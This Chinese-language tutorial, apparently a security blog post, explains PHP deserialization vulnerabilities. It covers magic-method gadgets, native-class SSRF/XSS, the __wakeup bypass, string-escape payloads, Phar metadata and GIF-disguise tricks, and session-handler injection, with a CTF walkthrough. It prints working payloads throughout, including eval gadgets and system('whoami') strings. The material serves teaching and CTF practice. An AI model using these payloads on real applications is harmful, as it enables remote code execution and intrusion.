序列号与反序列化介绍
把对象转换为字节序列的过程称为对象的序列化。
把字节序列恢复为对象的过程称为对象的反序列化。
对象的序列化主要有两种用途:
1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
2) 在网络上传送对象的字节序列。
在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
序列化后的基本类型表达:
布尔值(bool):b:value => b:0整数型 (int):i:value=>i:1字符串型 (str):s:length:"value";=>s:4:"aaaa".数组型(array):a:<length>:{key,value pairs};=>a:1:{i:1;s:1:"a"}对象型(object):O:<class_name_length>浮点型(double):d:value=>d:15.2引用类型:R : R:value=> R:2null型:N
PHP序列化:
序列化就是利用serialize()函数将一个对象转换为字符串序列以便于保存和传输
<?phpclass admin{public $test = "admin";public $xxxx = 123;}$a = new admin();$b = serialize($a);echo $b;?>

PHP反序列化:
定义:反序列化就是利用unserailize()函数将一个经过序列化的字符串还原成php代码形式,代码如下
<?phpclass test{function __destruct(){eval($_GET['admin']);echo $_GET['admin'];}}/*$admin = new test();$xxx = serialize($admin);echo $xxx;*/unserialize($_GET['kk']);?>
反序列化漏洞:简单来说就是如果传入反序列化函数可控并且存在一些魔术方法,就可能触发造成反序列化漏洞
__destruct魔术方法当对象被销毁时则调用,__destruct方法就是给这个对象写临死前的遗嘱。eval函数和echo函数可控对函数进行传参导致命令执行和xss攻击

protect,private属性序列化:
<?phpclass test{private $a;protected $b;public $c;function __construct(){$this->a = $this->b = $this->c = $this->e =1;}}$t = new test();//实例化test类时执行__construct方法给变量赋值$p = serialize($t);print($p)?>
public、private、protected的区别
public(公共的):在本类内部、外部类、子类都可以访问protect(受保护的):只有本类或子类或父类中可以访问private(私人的):只有本类内部可以使用

不同类型变量序列化可以看到private,protect类型序列化后长度以及名称发送了变化
是因为变量会引入不可见字符%00,%00占一个字节长度
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
反序列化时%00,所以必须在url上面也加上,否则不会利用成功
常见魔术方法的触发方式
__construct():当对象被创建时__destruct():当对象被销毁前__tostring():当对象被当作一个字符串使用时__sleep():序列化对象前调用(其返回需要是一个数组指定序列化哪些属性)__wakeup():反序列化恢复对象前调用__call():当调用对象中不存在的方法时调用__get():从不可访问的属性读取数据__callStatic():调用类不存在的静态方式方法时执行__set():用于将数据写入不可访问属性__invoke():调用函数的方式调用一个对象时的回应方法__isset():在不可访的属性上调用isset()或empty()触发__unset():在不可访的属性上使用unset()时触发
PHP引用
php引用是别名,就是两个不同的变量名字指向相同的内容,在php5,一个对象变量已经不再保存整个对象的值,只是保存一个标示符来访问真正的对象内容,当对象作为参数传递,最为结果返回,或者赋值给另一个变量,另一个变量跟原来的不是引用的关系,只是他们都保存着同一个标示符的拷贝,这个标示符指向同一个对象的真正内容
例子:
<?phpClass Test{var $enter;var $secret;}$o = unserialize($_GET['test']);$o->secret = "hello";echo $o->secret."<br>";echo $o->enter."<br>";if($o->secret === $o->enter){echo "flag";}?>
Test类中enter, secret属性,其中enter是未知的,该如何突破 if($o->secret === $o->enter)的校验呢
payload:
<?phpClass Test{var $enter;var $secret;function Test(){$this->enter = &$this->secret;}}echo serialize(new Test());?>
通过”&“ 表示,其中 &$this->secret引用了secret的值,即在内存中是指向变量地址,在序列化字符串中则表示R来代表引用类型
在初始化时,利用'&'将enter指向secret的地址,最终生成的序列化字符串
O:4:"Test":2:{s:5:"enter";N;s:6:"secret";R:2;}
s:6:"secret";R:2 通过引用的方式将两则的属性成为同一个值“hello”
($secret,$enter) = 'hello';
http://127.0.0.1/1.php?test=O:4:"Test":2:{s:5:"enter";N;s:6:"secret";R:2;}

PHP反序列化可以利用的原生类
__call
SoapClient
这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。
SSRF
<?php$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();
__toString
Error
适用于php7版本
XSS
开启报错的情况下:
<?php$a = new Error("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');$c = unserialize($t);echo $c;
Exception
适用于php5、7版本
XSS
开启报错的情况下:
<?php$a = new Exception("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');echo unserialize($c);
__wakeup失效:CVE-2016-7124
影响版本为:PHP 5至5.6.25,PHP 7至 7.0.10
__wakeup反序列化解析属性的长度正常的长度时2修改长度为或别的数字,__wakeup碰到错误的属性长度并不会终止反序列化而是继续执行,
不执行__wakeup导致可跳过__wakeup方法执行
修改属性长度绕过:
O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;} 正常O:5:"admin":6:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;} 绕过__wakeupO:5:"admin":+2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;} 绕过__wakeup
Exception 绕过
异常是指程序运行中不符合预期情况以及与正常流程不同的状况。错误则属于自身问题,是一种非法语法或者环境问题导致的、让编译器无法通过检查设置无法运行的情况。PHP一旦遇到非正常代码,通常都是触发错误,而不是抛出异常。换言之,PHP无法自动捕获有意义的异常,只有主动throw后,才能捕获异常。
有时会遇上throw问题,因为报错导致后面的代码无法执行
例子:
<?php$line = $_GET['line'];Class B{function __destruct(){echo "<script>alert('this is flag')</script>";}}$a = @unserialize($line);throw new Exception('well that was unexpected..');?>
B类中__destruct会输出弹出this is flag,反序列化点则在throw前,正常情况下,报错使用throw抛出异常导致__destruct不会执行,但是通过改变"O:1:"B":1{1}", 解析出错,由于类名是正确的就会调用类名的魔术方法__destruct,从而在throw前执行了__destruct
http://127.0.0.1/1.php?line=O:1:"B":1:{1}

反序列化字符逃逸
这个漏洞类似于SQL注入,也是插入需要的数据闭合后面的字符串,产生的原因在于序列化的字符串数据没有被过滤函数正确的处理过最终反序列化
PHP在序列化数据的过程中,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取
并且php底层实现上是以 ;分号作为分隔以 } 花括号作为结尾,类中不存在的属性也会进行反序列化,这里就发生逃逸问题,而导致的对象注入;
例子:
<?phpclass admin{public $test = "admin";public $xxxx = 123;}$a = new admin();$b = serialize($a);//echo $b;$s = 'O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";i:123;}xxxxxx';var_dump(unserialize($s));?>

正常反序列化,xxxx给忽略掉了

反序列化字符串都是以一 ";}结束的,所以如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
也就是说如果反序列化字符是可控的就可以构造一个恶意的序列化字符串然后加上 ;} 分号和花括号闭合掉就抛弃掉后面的序列化字符类似于SQL注入
O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";s:4:"test";} 正常的序列化字符串假设其中某个变量可控加上了;}结尾O:5:"admin":2:{s:4:"test";s:5:"admin";s:4:"xxxx";s:4:"abcd";}";s:4:"xxxx";s:4:"test";}//插入恶意字符串修改密码为abcd了:admin";s:4:"xxxx";s:4:"abcd";}

再去反序列化也是OK的
替换修改后导致序列化字符串变长
例子:
<?phphighlight_file(__FILE__);function waf($str){return preg_replace('/pass/i', 'admin', $str);}class admin{public $username = 'admin';public $pass = 123456;}$a = new admin();echo "<br>";echo serialize($a)."<br>";$b = waf(serialize($a));echo $b;var_dump(unserialize($b));?>
要求你要去修改掉pass的密码,这里的关键点在于waf函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。waf函数中检测序列化后的字符串,如果检测到了非法字符'pass',就把它替换为'admin'。

反序列化字符时pass变成了admin报错了,因为pass是4个字符waf替换后成了5个字符,在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。这里可以用到一些小技巧绕过反序列化的特性
反序列化字符类型小写s改为大写S如果值为16进制可以解析为字符
var_dump(unserialize('O:5:"admin":2:{s:8:"username";s:5:"admin";S:4:"\70\61\73\73";i:123456;}'));

回到例题试试利用特性+反序列化字符逃逸是否可以成功修改密码
";S:4:"\70\61\73\73";i:1234;}

发现";S:4:"\70\61\73\73";i:123456;}的长度为32,如果我们再加上32个字符,那最终的长度将增加32,就能逃逸后面的序列化字符";S:4:"\70\61\73\73";i:123456;}

每添加pass值都会替换为admin字符数增加了1个,python生成30个pass字符,30x4=12总数为120个字符经过waf替换为admin,字符总数为150反序列化长度匹配, 成功逃逸执行后面序列化字符修改密码为1234

最终的payload:
passpasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspasspass";S:4:"\70\61\73\73";i:1234;}}
Phar反序列化
phar://是数据流包装器的一种 PHP 5.3.0 起开始有效
简单来说就是利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Meta data 信息会被反序列化
Phar文件结构
stub:phar文件标识,以格式为xxxxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以来结尾否则php无法识别这是一个pharmanifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-datacontents:压缩文件的内容signature:签名,在文件末尾注意:如果要生成phar文件要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
创建一个phar文件:
<?phpclass TestObject {}$phar = new Phar("phar.phar"); 后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); 设置stub$o = new TestObject();$o -> data='<script>alert(/xss/)</script>';$phar->setMetadata($o); 将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); 添加要压缩的文件签名自动计算$phar->stopBuffering();?>
访问后会生成一个phar.phar在文件目录下:

用文本或用法16进制编辑工具打开,可以看见有序列化字符串

setMetadata()函数是设置meta-data以序列化的形式存储信息
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
test.php
<?phpclass TestObject{function __destruct(){echo $this -> data;}}$file = $_GET['file'];include($file);?>
http://127.0.0.1/test.php?file=phar://phar.phar/test.txthttp://127.0.0.1/test.php?file=phar://phar.phar如果生成的后缀是图片或其他格式也可以通过phar://协议解析文件内的序列化字

测试后受影响的函数如下:
fileatime(), filectime(), file_exists(), file_get_contents(), file_put_contents(), file(), filegroup(), fopen(), fileinode(), filemtime(), fileowner(), fileperms(), filesize()is_dir(), is_executable, is_file, is_link, is_readable, is_writableparse_in_file(), copy(), unlink(), stat(), readfile(), include(), md5_file()
其实不止如此,只要调用了php_stream_open_wrapper的函数,都存在这样的问题,经测试,网上提供的如下函数也都可以:
exif:exif_thumbnail(), exif_imagetype()gd:imageloadfont(), imagecreatefromgif()hash:hash_hmac_file(), hash_file(), hash_update_file(), md5_file(), sha1_file()file url:get_meta_tags(), get_headers(), mime_content_type()standard:getimagesize(), getimagesizefromstring()finfo:finfo_file(), finfo_buffer()
zip
$zip = new ZipArchive();$res = $zip->open('c.zip');$zip->extractTo('phar://test.phar/test');
Postgres
<?php$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper
<?phpclass A {public $s = '';public function __wakeup () {system($this->s);}}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。(非默认配置)
[mysqld]local-infile=1secure_file_priv=""
过滤phar://协议的绕过方式
compress.bzip2://phar://compress.zlib://phar:///php://filter/resource=phar://
文件头格式绕过
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 设置stub,添加GIF文件头伪装成GIF图片
Session反序列化
PHP的session机制
在学习 session 反序列化之前,我们需要了解这几个参数的含义。

值得注意的:在没有执行session_start()之前是不会生成PHPSESSID,但是在php.ini中默认的一项配置session.use_strict_mode=0,可以让用户自定义PHPSESSID,比如在Cookie中添加:PHPSESSID=asdfgh
在phpinfo中可查看session的设置,如果需要修改则在对应的php版本下修改php.ini 中的session设置

PHP默认存在一些Session处理器:php、php_binary、php_serialize和wddx 以及对应的存储格式
PHP
键名+竖线+经过serialize()函数反序列化处理的值当 session.serialize_handler=php 时,session文件内容为:session|O:5:"admin":1:{s:4:"mdzz";N;}
php_binray
键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值当 session.serialize_handler=php_binary 时,session文件内容为:ASCII字符sessionO:5:"admin":1:{s:4:"mdzz";N;}
php_serialize(php => 5.54)
经过serialize()函数序列化数组当 session.serialize_handler=php_serialize 时,session文件为:a:1:{s:7:"session";O:5:"admin":1:{s:4:"mdzz";N;}}
注意:这些处理器都是有经过序列化保存值,调用的时候会反序列化
php处理器在序列化的时候会对”|“ 竖线作为界限作为键值判断
php_serialize session:
a:1:{s:7:"session";s:51:"O:4:"Test":1:{s:4:"mdzz";s:17:"system("whoami");";}a:1:{s:7:"session";s:51:"|O:4:"Test":1:{s:4:"mdzz";s:17:"system("whoami");";}
php在处理反序列化字符串时 会以“a:1:{s:7:"session";s:51:" ”作为key 后面的”O:8:"O:4:"Test":1:{s:4:"mdzz";s:17:"system("whoami");";}“则作为value进行反序列化,php_serialize Session加上| 竖线则变成了php Session处理器了后面的值做反序列化

测试不同的session处理器序列化存储信息
<?phpini_set('session.serialize_handler', 'php');//ini_set('session.serialize_handler', 'php_binary');//ini_set('session.serialize_handler', 'php_serialize');session_start(); //启动新会话或者重用现有会话class admin{public $mdzz;}$_SESSION['session'] = new admin();?>
将admin对象赋值session刷新页面就会新建一个session以火狐浏览器为例右键检测存储cookie中

然后在D:\phpstudy_pro\Extensions\tmp\tmp目录下也会新建一个文件里面存储的就是不同session处理器存储的序列化字符串
存储的文件名以"sess_"开头后面连接通过session_start()创建的PHPSESSID(在Cookie中)




session.upload_progress.enabled Session伪造反序列化
官方解释:
https://bugs.php.net/bug.php?id=71101
session.upload_progress.enabled on
session.upload_progress.enabled 本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传的时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据,由此来设置SESSION
例题:jarvisoj-web的一道SESSION反序列化
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}}if(isset($_GET['phpinfo'])){$m = new OowoO();}else{highlight_string(file_get_contents(__FILE__));}?>
这个例题中设置session处理器为php判断dcw是否有值接着就实例化test类时mdzz变量赋值为phpinfo,实例化完调用eval执行phpinfo否则将当前文件高亮显示。
首先这道题能够进行查看phpinfo的信息,从里面我们能够发现

开启了session文件上传进度跟踪,并且给的这个index.php存在session_start()函数,因此我们可以给它post一个变量名为PHP_SESSION_UPLOAD_PROGRESS的变量,里面可以写上我们的payload,这样就可以把payload拼接到session中去,达到操控session的目的,接下来我们可以构造我们的payload
构造payload:
<?phpclass OowoO{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}}$a=new OowoO();$a->mdzz="var_dump(scandir('./'));";echo serialize($a);?>
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
创建name为PHP_SESSION_UPLOAD_PROGRESS的上传表单
//上传表单<form action="http://127.0.0.1/1.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" /></form>

成功将|竖线后面的对象反序列化执行了scandir列出目录
查看对应的session文件,里面的内容如下:
a:1:{s:84:"upload_progress_123|O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
服务器使用的处理器是php_serialize,而在该index.php中使用的处理器是php,在处理我们构造好的payload时以“|”为分隔符,左边为键,右边为经过serialize()序列化后的值
注意:如果当cleanup设置为On时,在每次文件上传完成后都会将session文件内容给清空,此时可以利用条件竞争,在清空之前对其进行利用
参考:
https://www.freebuf.com/news/202819.html
https://mp.weixin.qq.com/s/n5ofmXbDxWgOCg4oNgPtsw
https://www.cnblogs.com/hylaz/archive/2012/11/19/2776695.html
https://blog.csdn.net/qq_45521281/article/details/107135706
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
=================================
精彩推荐
第一届海南省网络与信息安全管理员技能大赛MISC部分-Writeup
近源渗透|RouterSploit 路由器漏洞检测及利用框架
=================================
看到这了就点个关注支持以下吧!你的关注是我创作的动力。





